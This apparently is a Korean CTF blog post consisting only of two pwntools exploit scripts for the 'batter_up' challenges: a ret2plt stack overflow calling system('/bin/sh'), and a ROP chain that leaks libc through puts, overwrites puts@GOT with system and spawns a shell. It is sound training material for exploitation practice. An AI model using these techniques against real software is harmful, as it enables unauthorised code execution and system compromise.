batter_up
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | from pwn import * p = process( "./batter_up" ) elf = ELF( "./batter_up" ) system = elf.plt[ 'system' ] binsh = 0x804874a print p.recv() payload = "" payload + = "A" * 48 payload + = p32(system) payload + = "DDDD" payload + = p32(binsh) p.sendline(payload) p.interactive() |
batter_up 3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | from pwn import * p = process( "./batter_up_3" ) elf = ELF( "./batter_up_3" ) lib = ELF( "./libc_e3d54f5709190f15a9c51089c70f2069771913c1.so.6" ) puts_plt = elf.plt[ 'puts' ] puts_got = elf.got[ 'puts' ] gets = elf.plt[ 'gets' ] bss = elf.bss() pr = 0x080483d1 ppr = 0x0804870a pppr = 0x08048709 p.recv() payload = "" payload + = "A" * 44 payload + = p32(puts_plt) payload + = p32(pr) payload + = p32(puts_got) payload + = p32(gets) payload + = p32(pr) payload + = p32(bss) payload + = p32(puts_plt) payload + = p32(pr) payload + = p32(bss) payload + = p32(gets) payload + = p32(pr) payload + = p32(puts_got) payload + = p32(puts_plt) payload + = "DDDD" payload + = p32(bss) p.sendline(payload) libc_puts = u32(p.recv( 4 )) log.info( "libc_plt = {}" . format ( hex (libc_puts))) libc_system = libc_puts - 0x24f00 log.info( "libc_system = {}" . format ( hex (libc_system))) p.sendline( "/bin/sh\x00" ) p.sendline(p32(libc_system)) p.interactive() |
'CTF' 카테고리의 다른 글
hackzone 2019 pwn2 (Syscall) (0) | 2019.05.09 |
---|---|
hackzone 2019 pwn1 (0) | 2019.05.07 |
plaid 2019 can you guess me? (0) | 2019.04.15 |
codegate2019 aeiou (0) | 2019.02.23 |
CSAW2016 tutorial (0) | 2019.02.01 |